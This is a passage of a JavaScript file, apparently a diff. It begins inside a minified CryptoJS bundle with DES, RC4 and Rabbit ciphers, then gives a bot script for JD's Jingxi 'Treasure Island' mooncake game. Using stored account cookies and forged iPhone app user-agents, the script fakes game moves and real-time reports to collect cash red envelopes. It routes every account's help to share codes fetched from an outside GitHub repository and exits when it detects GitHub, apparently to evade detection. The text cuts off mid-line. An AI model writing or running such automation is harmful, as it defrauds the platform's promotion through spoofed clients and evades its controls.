2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛合成月饼"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = ''; +let UA, UAInfo = {}; +const randomCount = $.isNode() ? 20 : 3; +$.appId = "92a36"; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(2000); + } + } + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') + } + $.strMyShareIds = [...(res && res.shareId || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.canHelp = true + UA = UAInfo[$.UserName] + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + await helpByStage($.newShareCodes[j]) + await $.wait(2000) + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } else { + break + } + } + await showMsg(); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + if (!beginInfo.MarkList.daily_task_win) { + await setMark() + } + + //抽奖 + await $.wait(2000) + await composePearlState(4) + + //助力奖励 + await $.wait(2000) + await composePearlState(2) + + //合成月饼 + let count = $.isNode() ? (process.env.JD_CFD_RUNNUM ? process.env.JD_CFD_RUNNUM * 1 : Math.floor((Math.random() * 2)) + 3) : ($.getdata('JD_CFD_RUNNUM') ? $.getdata('JD_CFD_RUNNUM') * 1 : Math.floor((Math.random() * 2)) + 3); + console.log(`\n合成月饼`) + console.log(`合成月饼运行次数为:${count}\n`) + let num = 0 + do { + await $.wait(2000) + await composePearlState(3) + num++ + } while (!$.stop && num < count) + + } catch (e) { + $.logErr(e) + } +} + +// 合成月饼 +async function composePearlState(type) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/ComposePearlState`, `__t=${Date.now()}&dwGetType=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlState API请求失败,请检查网路重试`) + } else { + switch (type) { + case 1: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + break + case 2: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`领助力奖励`) + if (data.iRet === 0) { + let helpNum = [] + for (let key of Object.keys(data.helpInfo.HelpList)) { + let vo = data.helpInfo.HelpList[key] + if (vo.dwStatus !== 1 && vo.dwIsHasAward === 1 && vo.dwIsHelp === 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await pearlHelpDraw(data.ddwSeasonStartTm, helpNum[j]) + await $.wait(2000) + data = await composePearlState(1) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + break + case 3: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`当前已合成${data.dwCurProgress}颗月饼,总计获得${data.ddwVirHb / 100}元红包`) + if (data.strDT) { + // let num = Math.ceil(Math.random() * 12 + 12) + let num = data.PearlList.length + let div = Math.ceil(Math.random() * 4 + 2) + console.log(`合成月饼:模拟操作${num}次`) + for (let v = 0; v < num; v++) { + console.log(`模拟操作进度:${v + 1}/${num}`) + let beacon = data.PearlList[0] + data.PearlList.shift() + let beaconType = beacon.type + if (v % div === 0){ + await realTmReport(data.strMyShareId) + await $.wait(5000) + } + if (beacon.rbf) { + let size = 1 + // for (let key of Object.keys(data.PearlList)) { + // let vo = data.PearlList[key] + // if (vo.rbf && vo.type === beaconType) { + // data.PearlList.splice(key, 1) + // size = 2 + // vo.rbf = 0 + // break + // } + // } + await composePearlAward(data.strDT, beaconType, size) + } + } + let strLT = data.oPT[data.ddwCurTime % data.oPT.length] + let res = await composePearlAddProcess(data.strDT, strLT) + if (res.iRet === 0) { + console.log(`\n合成月饼成功:获得${res.ddwAwardHb / 100}元红包\n`) + if (res.ddwAwardHb === 0) { + $.stop = true + console.log(`合成月饼没有奖励,停止运行\n`) + } + } else { + console.log(`\n合成月饼失败:${res.sErrMsg}\n`) + } + } else { + console.log(`今日已完成\n`) + } + } + break + case 4: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`每日抽奖`) + if (data.iRet === 0) { + if (data.dayDrawInfo.dwIsDraw === 0) { + let strToken = (await getPearlDailyReward()).strToken + await $.wait(2000) + await pearlDailyDraw(data.ddwSeasonStartTm, strToken) + } else { + console.log(`无抽奖次数\n`) + } + } + default: + break; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function realTmReport(strMyShareId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/RealTmReport`, `__t=${Date.now()}&dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=10`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function composePearlAddProcess(strDT, strLT) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposePearlAddProcess`, `strBT=${strDT}&strLT=${strLT}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlAddProcess API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, 